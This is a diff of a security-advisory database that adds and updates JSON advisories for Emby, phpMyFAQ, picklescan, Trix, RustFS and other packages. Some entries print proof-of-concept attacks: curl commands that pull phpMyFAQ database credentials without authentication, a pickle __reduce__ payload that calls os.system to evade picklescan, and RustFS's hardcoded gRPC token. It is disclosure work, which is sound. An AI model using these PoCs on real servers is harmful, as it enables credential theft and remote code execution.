"GHSA-95fv-5gfj-2r84", - "modified": "2025-12-09T21:36:56Z", + "modified": "2025-12-29T19:43:24Z", "published": "2025-12-08T16:25:53Z", + "withdrawn": "2025-12-29T19:43:24Z", "aliases": [ "CVE-2025-64113" ], - "summary": "Emby Server API Vulnerability allowing to gain administrative access without precondition", - "details": "### Impact\n\nThis vulnerability affects all Emby Server versions - beta and stable up to the specified versions.\nIt allows an attacker to gain full administrative access to an Emby Server (for Emby Server administration, **not at the OS level**,).\nOther than network access, no specific preconditions need to be fulfilled for a server to be vulnerable.\n\n### Patches\n\n#### Quick Fix\n\nA quick fix will be rolled out via an update to one of the default-included Emby Server plugins.\nThis way is chosen because many users are updating their servers manually while plugin updates are typically configured to be applied automatically. This allows to get a patch deployed to a large amount of servers within a single day.\n\n#### Server Patches\n\nPatched versions for both, Emby Server stable and Emby Server beta are available now.\n\n**All Emby Server owners are strongly encouraged to apply those updates as soon as possible.**\n\n\n### Workarounds\n\n> [!NOTE]\n> These workarounds are OBSOLETE now. Please update Emby Server instead!\n\nAs and immediate remedy, it is possible to set restricted file system permissions on the `passwordreset.txt` file in the configuration folder of Emby Server. If it doesn't exist, users can create the file themselves or just call the ForgotPassword API once, which will create the file.\n\nOn Windows, users can set DENY permissions for \"Authenticated users\" and on Linux, permissions can be set via `sudo chmod 444 passwordreset.txt`.\nThis will make the API request fail, which completely eliminates the vulnerability.", + "summary": "Withdrawn Advisory: Emby Server API Vulnerability allowing to gain administrative access without precondition", + "details": "### Withdrawn Advisory\nThis advisory has been withdrawn because it incorrectly listed [MediaBrowser.Server.Core](https://www.nuget.org/packages/MediaBrowser.Server.Core) as vulnerable. CVE-2025-64113 affects Emby Server versions 4.9.1.80 and prior, and Emby Server Beta versions 4.9.2.6 and prior.\n\n### Original Description\n### Impact\n\nThis vulnerability affects all Emby Server versions - beta and stable up to the specified versions.\nIt allows an attacker to gain full administrative access to an Emby Server (for Emby Server administration, **not at the OS level**,).\nOther than network access, no specific preconditions need to be fulfilled for a server to be vulnerable.\n\n### Patches\n\n#### Quick Fix\n\nA quick fix will be rolled out via an update to one of the default-included Emby Server plugins.\nThis way is chosen because many users are updating their servers manually while plugin updates are typically configured to be applied automatically. This allows to get a patch deployed to a large amount of servers within a single day.\n\n#### Server Patches\n\nPatched versions for both, Emby Server stable and Emby Server beta are available now.\n\n**All Emby Server owners are strongly encouraged to apply those updates as soon as possible.**\n\n\n### Workarounds\n\n> [!NOTE]\n> These workarounds are OBSOLETE now. Please update Emby Server instead!\n\nAs and immediate remedy, it is possible to set restricted file system permissions on the `passwordreset.txt` file in the configuration folder of Emby Server. If it doesn't exist, users can create the file themselves or just call the ForgotPassword API once, which will create the file.\n\nOn Windows, users can set DENY permissions for \"Authenticated users\" and on Linux, permissions can be set via `sudo chmod 444 passwordreset.txt`.\nThis will make the API request fail, which completely eliminates the vulnerability.", "severity": [ { "type": "CVSS_V4", diff --git a/advisories/github-reviewed/2025/12/GHSA-95qg-89c2-w5hj/GHSA-95qg-89c2-w5hj.json b/advisories/github-reviewed/2025/12/GHSA-95qg-89c2-w5hj/GHSA-95qg-89c2-w5hj.json new file mode 100644 index 0000000000000..12ab0669da5dd --- /dev/null +++ b/advisories/github-reviewed/2025/12/GHSA-95qg-89c2-w5hj/GHSA-95qg-89c2-w5hj.json @@ -0,0 +1,69 @@ +{ + "schema_version": "1.4.0", + "id": "GHSA-95qg-89c2-w5hj", + "modified": "2026-01-05T14:55:05Z", + "published": "2025-12-30T23:45:51Z", + "aliases": [ + "CVE-2025-69257" + ], + "summary": "theshit vulnerable to unsafe loading of user-owned Python rules when running as root", + "details": "### Impact\n\n**Vulnerability Type:** Local Privilege Escalation (LPE) / Arbitrary Code Execution.\n\nThe application loads custom Python rules and configuration files from user-writable locations (e.g., `~/.config/theshit/`) without validating ownership or permissions when executed with elevated privileges.\n\nIf the tool is invoked with `sudo` or otherwise runs with an effective UID of root, it continues to trust configuration files originating from the unprivileged user's environment. This allows a local attacker to inject arbitrary Python code via a malicious rule or configuration file, which is then executed with root privileges.\n\n**Who is impacted:**\nAny system where this tool is executed with elevated privileges is affected. In environments where the tool is permitted to run via `sudo` without a password (`NOPASSWD`), a local unprivileged user can escalate privileges to root without additional interaction.\n\n### Patches\n\nThe issue has been fixed in version **0.1.1**.\n\nThe patch introduces strict ownership and permission checks for all configuration files and custom rules. The application now enforces that rules are only loaded if they are owned by the effective user executing the tool.\n\nWhen executed with elevated privileges (`EUID=0`), the application refuses to load any files that are not owned by root or that are writable by non-root users. When executed as a non-root user, it similarly refuses to load rules owned by other users. This prevents both vertical and horizontal privilege escalation via execution of untrusted code.\n\n### Workarounds\n\nIf upgrading is not possible, users should avoid executing the pplication with `sudo` or as the root user.\n\nAs a temporary mitigation, ensure that directories containing custom rules and configuration files are owned by root and are not writable by non-root users. Administrators may also audit existing custom rules before running the tool with elevated privileges.\n\n### References\n\n* [Commit fixing the issue](https://github.com/AsfhtgkDavid/theshit/commit/3dc12905cafb5fd47fff4071a05c231f925ac113)\n* CWE-269: Improper Privilege Management\n* CWE-284: Improper Access Control\n* CWE-829: Inclusion of Functionality from Untrusted Control Sphere", + "severity": [ + { + "type": "CVSS_V3", + "score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:H" + } + ], + "affected": [ + { + "package": { + "ecosystem": "crates.io", + "name": "theshit" + }, + "ranges": [ + { + "type": "ECOSYSTEM", + "events": [ + { + "introduced": "0" + }, + { + "fixed": "0.1.1" + } + ] + } + ] + } + ], + "references": [ + { + "type": "WEB", + "url": "https://github.com/AsfhtgkDavid/theshit/security/advisories/GHSA-95qg-89c2-w5hj" + }, + { + "type": "ADVISORY", + "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-69257" + }, + { + "type": "WEB", + "url": "https://github.com/AsfhtgkDavid/theshit/commit/8e0b565e7876a83b0e1cfbacb8af39dadfdcc500" + }, + { + "type": "PACKAGE", + "url": "https://github.com/AsfhtgkDavid/theshit" + }, + { + "type": "WEB", + "url": "https://rustsec.org/advisories/RUSTSEC-2025-0139.html" + } + ], + "database_specific": { + "cwe_ids": [ + "CWE-269" + ], + "severity": "HIGH", + "github_reviewed": true, + "github_reviewed_at": "2025-12-30T23:45:51Z", + "nvd_published_at": "2025-12-30T20:16:01Z" + } +} \ No newline at end of file diff --git a/advisories/github-reviewed/2025/12/GHSA-9cg9-4h4f-j6fg/GHSA-9cg9-4h4f-j6fg.json b/advisories/github-reviewed/2025/12/GHSA-9cg9-4h4f-j6fg/GHSA-9cg9-4h4f-j6fg.json new file mode 100644 index 0000000000000..11c6775fe9c61 --- /dev/null +++ b/advisories/github-reviewed/2025/12/GHSA-9cg9-4h4f-j6fg/GHSA-9cg9-4h4f-j6fg.json @@ -0,0 +1,84 @@ +{ + "schema_version": "1.4.0", + "id": "GHSA-9cg9-4h4f-j6fg", + "modified": "2025-12-30T15:31:19Z", + "published": "2025-12-30T15:31:19Z", + "aliases": [ + "CVE-2025-69200" + ], + "summary": "phpMyFAQ has unauthenticated config backup download via /api/setup/backup", + "details": "### Summary\nAn unauthenticated remote attacker can trigger generation of a configuration backup ZIP via `POST /api/setup/backup` and then download the generated ZIP from a web-accessible location. The ZIP contains sensitive configuration files (e.g., `database.php` with database credentials), leading to high-impact information disclosure and potential follow-on compromise.\n\n### Details\nThe endpoint `/api/setup/backup` is reachable via default rewrite rules and does not enforce authentication/authorization or API token verification. When called with any non-empty body (used as an “installed version” string), the server creates a ZIP archive inside the configuration directory and returns a direct URL to the generated ZIP file.\n\nRelevant code paths:\n- Rewrite rule exposing the endpoint:\n - `phpmyfaq/.htaccess`: `RewriteRule ^api/setup/(check|backup|update-database) api/index.php [L,QSA]`\n- Controller implementation:\n - `phpmyfaq/src/phpMyFAQ/Controller/Api/SetupController.php` → `backup()`\n - No call to `hasValidToken()`, `userIsAuthenticated()`, or any permission check\n- Backup creation:\n - `phpmyfaq/src/phpMyFAQ/Setup/Update.php` → `createConfigBackup()`\n - Writes the ZIP into the config directory and returns a public URL under `content/core/config/`\n\n### PoC\nReplace `BASE_URL` with your instance URL.\n\n1) Trigger config backup generation without authentication:\n\n```bash\nBASE_URL=\"http://localhost\"\ncurl -i -X POST \"${BASE_URL}/api/setup/backup\" \\\n -H \"Content-Type: text/plain\" \\\n --data \"4.1.0-RC\"\n```\n\nExpected result: `200 OK` with JSON containing `backupFile`.\n\n2) Copy the `backupFile` URL from the JSON response and download it (still without authentication):\n\n```bash\n# Example (replace with the exact URL returned in step 1)\ncurl -i \"http://localhost/content/core/config/phpmyfaq-config-backup.YYYY-MM-DD.zip\" -o phpmyfaq-config-backup.zip\n```\n\n3) Verify sensitive content exists in the ZIP:\n\n```bash\nunzip -l phpmyfaq-config-backup.zip\nunzip -p phpmyfaq-config-backup.zip database.php\n```\n\nObserved: `database.php` is included and contains DB host/user/password.\n\n### Impact\n- Vulnerability class: Missing authentication/authorization for a sensitive function + sensitive information exposure.\n- Who is impacted: Any internet-exposed phpMyFAQ installation where the default `.htaccess` rewrite rules are active and the endpoint is reachable.\n- Security impact: Disclosure of configuration secrets (DB credentials, integration config, etc.), enabling follow-on attacks such as database takeover and data exfiltration.", + "severity": [ + { + "type": "CVSS_V3", + "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N" + } + ], + "affected": [ + { + "package": { + "ecosystem": "Packagist", + "name": "thorsten/phpmyfaq" + }, + "ranges": [ + { + "type": "ECOSYSTEM", + "events": [ + { + "introduced": "0" + }, + { + "fixed": "4.0.16" + } + ] + } + ] + }, + { + "package": { + "ecosystem": "Packagist", + "name": "thorsten/phpmyfaq" + }, + "ranges": [ + { + "type": "ECOSYSTEM", + "events": [ + { + "introduced": "4.1.0-alpha" + }, + { + "last_affected": "4.1.0-beta.2" + } + ] + } + ] + } + ], + "references": [ + { + "type": "WEB", + "url": "https://github.com/thorsten/phpMyFAQ/security/advisories/GHSA-9cg9-4h4f-j6fg" + }, + { + "type": "ADVISORY", + "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-69200" + }, + { + "type": "WEB", + "url": "https://github.com/thorsten/phpMyFAQ/commit/b0e99ee3695152115841cb546d8dce64ceb8c29a" + }, + { + "type": "PACKAGE", + "url": "https://github.com/thorsten/phpMyFAQ" + } + ], + "database_specific": { + "cwe_ids": [ + "CWE-202" + ], + "severity": "HIGH", + "github_reviewed": true, + "github_reviewed_at": "2025-12-30T15:31:19Z", + "nvd_published_at": "2025-12-29T16:15:43Z" + } +} \ No newline at end of file diff --git a/advisories/github-reviewed/2025/12/GHSA-9p56-p6mw-w8qc/GHSA-9p56-p6mw-w8qc.json b/advisories/github-reviewed/2025/12/GHSA-9p56-p6mw-w8qc/GHSA-9p56-p6mw-w8qc.json index c8911af432499..e8f6196d31925 100644 --- a/advisories/github-reviewed/2025/12/GHSA-9p56-p6mw-w8qc/GHSA-9p56-p6mw-w8qc.json +++ b/advisories/github-reviewed/2025/12/GHSA-9p56-p6mw-w8qc/GHSA-9p56-p6mw-w8qc.json @@ -1,7 +1,7 @@ { "schema_version": "1.4.0", "id": "GHSA-9p56-p6mw-w8qc", - "modified": "2025-12-10T20:05:52Z", + "modified": "2026-01-22T13:44:11Z", "published": "2025-12-10T18:30:26Z", "aliases": [ "CVE-2025-67635" @@ -101,6 +101,10 @@ "type": "WEB", "url": "https://github.com/jenkinsci/jenkins/commit/efa1816322026f2b9235a27eee814bcc7ba0a764" }, + { + "type": "WEB", + "url": "https://fluidattacks.com/blog/unauth-dos-in-jenkins-cli" + }, { "type": "PACKAGE", "url": "https://github.com/jenkinsci/jenkins" diff --git a/advisories/github-reviewed/2025/12/GHSA-cffc-mxrf-mhh4/GHSA-cffc-mxrf-mhh4.json b/advisories/github-reviewed/2025/12/GHSA-cffc-mxrf-mhh4/GHSA-cffc-mxrf-mhh4.json new file mode 100644 index 0000000000000..f2ee757f29968 --- /dev/null +++ b/advisories/github-reviewed/2025/12/GHSA-cffc-mxrf-mhh4/GHSA-cffc-mxrf-mhh4.json @@ -0,0 +1,63 @@ +{ + "schema_version": "1.4.0", + "id": "GHSA-cffc-mxrf-mhh4", + "modified": "2025-12-29T22:44:27Z", + "published": "2025-12-29T22:44:26Z", + "aliases": [], + "summary": "Picklescan is vulnerable to RCE via missing detection when calling numpy.f2py.crackfortran.param_eval", + "details": "### Summary\nPicklescan uses numpy.f2py.crackfortran.param_eval, which is a function in numpy to execute remote pickle files.\n\n### Details\nThe attack payload executes in the following steps:\n\n- First, the attacker crafts the payload by calling the numpy.f2py.crackfortran.param_eval function via reduce method.\n- Then, when the victim checks whether the pickle file is safe by using the Picklescan library and this library doesn't detect any dangerous functions, they decide to use pickle.load() on this malicious pickle file, thus leading to remote code execution.\n\n\n### PoC\n```\nclass RCE:\n def __reduce__(self):\n from numpy.f2py.crackfortran import param_eval\n return (param_eval,(\"os.system('ls')\",None,None,None))\n```\n\n\n### Impact\nAny organization or individual relying on picklescan to detect malicious pickle files inside PyTorch models.\nAttackers can embed malicious code in pickle file that remains undetected but executes when the pickle file is loaded.\nAttackers can distribute infected pickle files across ML models, APIs, or saved Python objects.\n\n### Report by\nPinji Chen (cpj24@mails.tsinghua.edu.cn) from the NISL lab (https://netsec.ccert.edu.cn/about) at Tsinghua University, Guanheng Liu (coolwind326@gmail.com).", + "severity": [], + "affected": [ + { + "package": { + "ecosystem": "PyPI", + "name": "picklescan" + }, + "ranges": [ + { + "type": "ECOSYSTEM", + "events": [ + { + "introduced": "0" + }, + { + "fixed": "0.0.33" + } + ] + } + ] + } + ], + "references": [ + { + "type": "WEB", + "url": "https://github.com/mmaitre314/picklescan/security/advisories/GHSA-cffc-mxrf-mhh4" + }, + { + "type": "WEB", + "url": "https://github.com/mmaitre314/picklescan/pull/53" + }, + { + "type": "WEB", + "url": "https://github.com/mmaitre314/picklescan/commit/70c1c6c31beb6baaf52c8db1b6c3c0e84a6f9dab" + }, + { + "type": "PACKAGE", + "url": "https://github.com/mmaitre314/picklescan" + }, + { + "type": "WEB", + "url": "https://github.com/mmaitre314/picklescan/releases/tag/v0.0.33" + } + ], + "database_specific": { + "cwe_ids": [ + "CWE-502", + "CWE-94" + ], + "severity": "MODERATE", + "github_reviewed": true, + "github_reviewed_at": "2025-12-29T22:44:26Z", + "nvd_published_at": null + } +} \ No newline at end of file diff --git a/advisories/github-reviewed/2025/12/GHSA-cv8h-r7r5-vwj9/GHSA-cv8h-r7r5-vwj9.json b/advisories/github-reviewed/2025/12/GHSA-cv8h-r7r5-vwj9/GHSA-cv8h-r7r5-vwj9.json new file mode 100644 index 0000000000000..c61bf6e4afedb --- /dev/null +++ b/advisories/github-reviewed/2025/12/GHSA-cv8h-r7r5-vwj9/GHSA-cv8h-r7r5-vwj9.json @@ -0,0 +1,69 @@ +{ + "schema_version": "1.4.0", + "id": "GHSA-cv8h-r7r5-vwj9", + "modified": "2026-02-20T18:25:02Z", + "published": "2025-12-19T21:30:20Z", + "aliases": [ + "CVE-2023-53957" + ], + "summary": "Kimai contains a SameSite cookie vulnerability", + "details": "Kimai 1.30.10 contains a SameSite cookie vulnerability that allows attackers to steal user session cookies through malicious exploitation. Attackers can trick victims into executing a crafted PHP script that captures and writes session cookie information to a file, enabling potential session hijacking.", + "severity": [ + { + "type": "CVSS_V3", + "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H" + }, + { + "type": "CVSS_V4", + "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N" + } + ], + "affected": [ + { + "package": { + "ecosystem": "Packagist", + "name": "kimai/kimai" + }, + "ranges": [ + { + "type": "ECOSYSTEM", + "events": [ + { + "introduced": "0" + }, + { + "last_affected": "1.30.10" + } + ] + } + ] + } + ], + "references": [ + { + "type": "ADVISORY", + "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-53957" + }, + { + "type": "PACKAGE", + "url": "https://github.com/kimai/kimai" + }, + { + "type": "WEB", + "url": "https://www.exploit-db.com/exploits/51278" + }, + { + "type": "WEB", + "url": "https://www.vulncheck.com/advisories/kimai-samesite-cookie-vulnerability-session-hijacking" + } + ], + "database_specific": { + "cwe_ids": [ + "CWE-1275" + ], + "severity": "HIGH", + "github_reviewed": true, + "github_reviewed_at": "2026-02-20T18:25:02Z", + "nvd_published_at": "2025-12-19T21:15:52Z" + } +} \ No newline at end of file diff --git a/advisories/github-reviewed/2025/12/GHSA-f43r-cc68-gpx4/GHSA-f43r-cc68-gpx4.json b/advisories/github-reviewed/2025/12/GHSA-f43r-cc68-gpx4/GHSA-f43r-cc68-gpx4.json index 08a18ff1864b6..48586629239b7 100644 --- a/advisories/github-reviewed/2025/12/GHSA-f43r-cc68-gpx4/GHSA-f43r-cc68-gpx4.json +++ b/advisories/github-reviewed/2025/12/GHSA-f43r-cc68-gpx4/GHSA-f43r-cc68-gpx4.json @@ -1,7 +1,7 @@ { "schema_version": "1.4.0", "id": "GHSA-f43r-cc68-gpx4", - "modified": "2025-12-19T22:53:13Z", + "modified": "2026-01-03T00:28:22Z", "published": "2025-12-19T22:53:13Z", "aliases": [ "CVE-2025-68478" @@ -51,6 +51,7 @@ ], "database_specific": { "cwe_ids": [ + "CWE-610", "CWE-73" ], "severity": "HIGH", diff --git a/advisories/github-reviewed/2025/12/GHSA-f4cf-9rvr-2rcx/GHSA-f4cf-9rvr-2rcx.json b/advisories/github-reviewed/2025/12/GHSA-f4cf-9rvr-2rcx/GHSA-f4cf-9rvr-2rcx.json index 42731d10e85ce..675a39cba628d 100644 --- a/advisories/github-reviewed/2025/12/GHSA-f4cf-9rvr-2rcx/GHSA-f4cf-9rvr-2rcx.json +++ b/advisories/github-reviewed/2025/12/GHSA-f4cf-9rvr-2rcx/GHSA-f4cf-9rvr-2rcx.json @@ -1,7 +1,7 @@ { "schema_version": "1.4.0", "id": "GHSA-f4cf-9rvr-2rcx", - "modified": "2025-12-18T01:01:47Z", + "modified": "2026-02-02T16:34:14Z", "published": "2025-12-10T18:20:01Z", "aliases": [ "CVE-2025-67717" @@ -9,6 +9,10 @@ "summary": "Zitadel Discloses the Total Number of Instance Users", "details": "### Summary\n\nZitadel's User Service discloses the total number of instance users to unauthorized users.\n\n### Impact\n\nThe ZITADEL User Service exposes the total number of users within an instance to any authenticated user, regardless of their specific permissions. While this does not leak individual user data or PII, disclosing the total user count via the `totalResult` field constitutes an information disclosure vulnerability that may be sensitive in certain contexts.\n\n### Affected Versions\n\nSystems running one of the following version are affected:\n\n- **4.x**: `4.0.0-rc.1` through `4.7.1`\n- **3.x**: `3.0.0-rc.1` through `3.4.4`\n- **2.x**: `2.44.0` through `2.71.19`\n\n### Patches\n\nThe vulnerability has been addressed in the latest release. The patch resolves the issue and returns the `totalResult` value corresponding to the number of instance users for whom the querying user has read permission.\n\n- 4.x: Upgrade to >= [4.7.2](https://github.com/zitadel/zitadel/releases/tag/v4.7.2)\n- 3.x: Update to >= [3.4.5](https://github.com/zitadel/zitadel/releases/tag/v3.4.5)\n- 2.x: Update to >= [3.4.5](https://github.com/zitadel/zitadel/releases/tag/v3.4.5) (or checkout the workarounds section)\n\n### Workarounds\n\nThe recommended solution is to update Zitadel to a patched version.\n\nIf a version upgrade is not possible, you can enable the `permissionCheckV2` feature on your instance.\n\n### Questions\n\nIf you have any questions or comments about this advisory, please email us at [security@zitadel.com](mailto:security@zitadel.com)\n\n### Credits\n\nThis vulnerability was found by [zentrust partners GmbH](https://zentrust.partners) during a scheduled penetration test. Thank you to the analysts Martin Tschirsich, Joud Zakharia, Christopher Baumann.\nThe full report will be made public after the complete review.", "severity": [ + { + "type": "CVSS_V3", + "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N" + }, { "type": "CVSS_V4", "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N" diff --git a/advisories/github-reviewed/2025/12/GHSA-fjmr-7667-8v4p/GHSA-fjmr-7667-8v4p.json b/advisories/github-reviewed/2025/12/GHSA-fjmr-7667-8v4p/GHSA-fjmr-7667-8v4p.json new file mode 100644 index 0000000000000..631052355feb3 --- /dev/null +++ b/advisories/github-reviewed/2025/12/GHSA-fjmr-7667-8v4p/GHSA-fjmr-7667-8v4p.json @@ -0,0 +1,65 @@ +{ + "schema_version": "1.4.0", + "id": "GHSA-fjmr-7667-8v4p", + "modified": "2025-12-31T22:05:05Z", + "published": "2025-12-30T00:32:59Z", + "aliases": [ + "CVE-2025-68120" + ], + "summary": "Visual Studio Code Go extension has unexpected untrusted code execution", + "details": "To prevent unexpected untrusted code execution, the Visual Studio Code Go extension is now disabled in Restricted Mode.", + "severity": [ + { + "type": "CVSS_V3", + "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:L" + } + ], + "affected": [ + { + "package": { + "ecosystem": "Go", + "name": "github.com/golang/vscode-go" + }, + "ranges": [ + { + "type": "ECOSYSTEM", + "events": [ + { + "introduced": "0" + }, + { + "fixed": "0.52.1" + } + ] + } + ] + } + ], + "references": [ + { + "type": "ADVISORY", + "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-68120" + }, + { + "type": "PACKAGE", + "url": "https://github.com/golang/vscode-go" + }, + { + "type": "WEB", + "url": "https://groups.google.com/g/golang-dev/c/CHG4qfcicBU/m/4tanFUymDQAJ" + }, + { + "type": "WEB", + "url": "https://pkg.go.dev/vuln/GO-2025-4249" + } + ], + "database_specific": { + "cwe_ids": [ + "CWE-94" + ], + "severity": "MODERATE", + "github_reviewed": true, + "github_reviewed_at": "2025-12-31T22:05:05Z", + "nvd_published_at": "2025-12-30T00:15:52Z" + } +} \ No newline at end of file diff --git a/advisories/github-reviewed/2025/12/GHSA-fmqf-pmcm-8cx9/GHSA-fmqf-pmcm-8cx9.json b/advisories/github-reviewed/2025/12/GHSA-fmqf-pmcm-8cx9/GHSA-fmqf-pmcm-8cx9.json index ab4fba7d1f669..3424c385c0f01 100644 --- a/advisories/github-reviewed/2025/12/GHSA-fmqf-pmcm-8cx9/GHSA-fmqf-pmcm-8cx9.json +++ b/advisories/github-reviewed/2025/12/GHSA-fmqf-pmcm-8cx9/GHSA-fmqf-pmcm-8cx9.json @@ -1,7 +1,7 @@ { "schema_version": "1.4.0", "id": "GHSA-fmqf-pmcm-8cx9", - "modified": "2025-12-26T18:40:17Z", + "modified": "2026-02-27T22:04:19Z", "published": "2025-12-24T09:30:22Z", "aliases": [ "CVE-2025-13767" @@ -131,6 +131,10 @@ { "type": "WEB", "url": "https://mattermost.com/security-updates" + }, + { + "type": "WEB", + "url": "https://pkg.go.dev/vuln/GO-2026-4259" } ], "database_specific": { diff --git a/advisories/github-reviewed/2025/12/GHSA-g9jg-w8vm-g96v/GHSA-g9jg-w8vm-g96v.json b/advisories/github-reviewed/2025/12/GHSA-g9jg-w8vm-g96v/GHSA-g9jg-w8vm-g96v.json new file mode 100644 index 0000000000000..e4d5e275545ea --- /dev/null +++ b/advisories/github-reviewed/2025/12/GHSA-g9jg-w8vm-g96v/GHSA-g9jg-w8vm-g96v.json @@ -0,0 +1,86 @@ +{ + "schema_version": "1.4.0", + "id": "GHSA-g9jg-w8vm-g96v", + "modified": "2026-01-08T21:34:41Z", + "published": "2025-12-31T22:07:25Z", + "aliases": [], + "summary": "Trix has a stored XSS vulnerability through its attachment attribute", + "details": "### Impact\nThe Trix editor, in versions prior to 2.1.16, is vulnerable to XSS attacks through attachment payloads.\n\nAn attacker could inject malicious code into a data-trix-attachment attribute that, when rendered as HTML and clicked on, could execute arbitrary JavaScript code within the context of the user's session, potentially leading to unauthorized actions being performed or sensitive information being disclosed.\n\n### Patches\nUpdate Recommendation: Users should upgrade to Trix editor version 2.1.16 or later.\n\n### Resources\nThe XSS vulnerability was reported by HackerOne researcher [michaelcheers](https://hackerone.com/michaelcheers?type=user).", + "severity": [ + { + "type": "CVSS_V3", + "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:L/I:L/A:N" + } + ], + "affected": [ + { + "package": { + "ecosystem": "npm", + "name": "trix" + }, + "ranges": [ + { + "type": "ECOSYSTEM", + "events": [ + { + "introduced": "0" + }, + { + "fixed": "2.1.16" + } + ] + } + ] + }, + { + "package": { + "ecosystem": "RubyGems", + "name": "action_text-trix" + }, + "ranges": [ + { + "type": "ECOSYSTEM", + "events": [ + { + "introduced": "0" + }, + { + "fixed": "2.1.16" + } + ] + } + ] + } + ], + "references": [ + { + "type": "WEB", + "url": "https://github.com/basecamp/trix/security/advisories/GHSA-g9jg-w8vm-g96v" + }, + { + "type": "WEB", + "url": "https://github.com/basecamp/trix/commit/73c20cf03ab2b56c0ef9c9b1aaf63f2de44f4010" + }, + { + "type": "PACKAGE", + "url": "https://github.com/basecamp/trix" + }, + { + "type": "WEB", + "url": "https://github.com/basecamp/trix/releases/tag/v2.1.16" + }, + { + "type": "WEB", + "url": "https://github.com/rubysec/ruby-advisory-db/blob/master/gems/action_text-trix/GHSA-g9jg-w8vm-g96v.yml" + } + ], + "database_specific": { + "cwe_ids": [ + "CWE-79" + ], + "severity": "MODERATE", + "github_reviewed": true, + "github_reviewed_at": "2025-12-31T22:07:25Z", + "nvd_published_at": null + } +} \ No newline at end of file diff --git a/advisories/github-reviewed/2025/12/GHSA-gxvv-45f6-3ch8/GHSA-gxvv-45f6-3ch8.json b/advisories/github-reviewed/2025/12/GHSA-gxvv-45f6-3ch8/GHSA-gxvv-45f6-3ch8.json new file mode 100644 index 0000000000000..00369efd8f5fe --- /dev/null +++ b/advisories/github-reviewed/2025/12/GHSA-gxvv-45f6-3ch8/GHSA-gxvv-45f6-3ch8.json @@ -0,0 +1,82 @@ +{ + "schema_version": "1.4.0", + "id": "GHSA-gxvv-45f6-3ch8", + "modified": "2026-02-28T02:15:59Z", + "published": "2025-12-16T15:30:42Z", + "aliases": [ + "CVE-2025-14443" + ], + "summary": "openshift-apiserver: SSRF via Missing IP/Network-Range Validation in User-Supplied Image References", + "details": "A flaw was found in ose-openshift-apiserver. This vulnerability allows internal network enumeration, service discovery, limited information disclosure, and potential Denial of Service (DoS) through Server-Side Request Forgery (SSRF) due to missing IP address and network-range validation when processing user-supplied image references.", + "severity": [ + { + "type": "CVSS_V3", + "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:L" + } + ], + "affected": [ + { + "package": { + "ecosystem": "Go", + "name": "github.com/openshift/openshift-apiserver" + }, + "versions": [ + "4.0.0-alpha.0" + ] + }, + { + "package": { + "ecosystem": "Go", + "name": "github.com/openshift/openshift-apiserver" + }, + "ranges": [ + { + "type": "ECOSYSTEM", + "events": [ + { + "introduced": "0" + }, + { + "last_affected": "0.0.0-alpha.0.0.20260130163947-0eb84cd66658" + } + ] + } + ] + } + ], + "references": [ + { + "type": "ADVISORY", + "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-14443" + }, + { + "type": "WEB", + "url": "https://github.com/openshift/openshift-apiserver/pull/591" + }, + { + "type": "WEB", + "url": "https://github.com/openshift/openshift-apiserver/pull/599" + }, + { + "type": "WEB", + "url": "https://access.redhat.com/security/cve/CVE-2025-14443" + }, + { + "type": "WEB", + "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2420964" + }, + { + "type": "PACKAGE", + "url": "https://github.com/openshift/openshift-apiserver" + } + ], + "database_specific": { + "cwe_ids": [ + "CWE-918" + ], + "severity": "HIGH", + "github_reviewed": true, + "github_reviewed_at": "2026-02-28T02:15:59Z", + "nvd_published_at": "2025-12-16T13:15:56Z" + } +} \ No newline at end of file diff --git a/advisories/github-reviewed/2025/12/GHSA-h956-rh7x-ppgj/GHSA-h956-rh7x-ppgj.json b/advisories/github-reviewed/2025/12/GHSA-h956-rh7x-ppgj/GHSA-h956-rh7x-ppgj.json new file mode 100644 index 0000000000000..bf9fac71f6176 --- /dev/null +++ b/advisories/github-reviewed/2025/12/GHSA-h956-rh7x-ppgj/GHSA-h956-rh7x-ppgj.json @@ -0,0 +1,69 @@ +{ + "schema_version": "1.4.0", + "id": "GHSA-h956-rh7x-ppgj", + "modified": "2026-01-07T15:22:21Z", + "published": "2025-12-30T23:06:15Z", + "aliases": [ + "CVE-2025-68926" + ], + "summary": "RustFS has a gRPC Hardcoded Token Authentication Bypass", + "details": "## Vulnerability Overview\n\n### Description\n\nRustFS implements gRPC authentication using a hardcoded static token `\"rustfs rpc\"` that is:\n1. **Publicly exposed** in the source code repository\n2. **Hardcoded** on both client and server sides\n3. **Non-configurable** with no mechanism for token rotation\n4. **Universally valid** across all RustFS deployments\n\nAny attacker with network access to the gRPC port can authenticate using this publicly known token and execute privileged operations including data destruction, policy manipulation, and cluster configuration changes.\n\n### CVSS 3.1 Score\n\n**Score**: 9.8 (Critical)\n**Vector**: `CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H`\n\n- **Attack Vector (AV)**: Network - Exploitable remotely\n- **Attack Complexity (AC)**: Low - No special conditions required\n- **Privileges Required (PR)**: None - No authentication needed (bypassed)\n- **User Interaction (UI)**: None - Fully automated exploitation\n- **Scope (S)**: Unchanged - Impact contained to vulnerable component\n- **Confidentiality (C)**: High - Complete data disclosure\n- **Integrity (I)**: High - Complete data modification capability\n- **Availability (A)**: High - Complete service disruption capability\n\n---\n\n## Vulnerable Code Analysis\n\n### Server-Side Authentication (rustfs/src/server/http.rs:679-686)\n\n```rust\n#[allow(clippy::result_large_err)]\nfn check_auth(req: Request<()>) -> std::result::Result, Status> {\n let token: MetadataValue<_> = \"rustfs 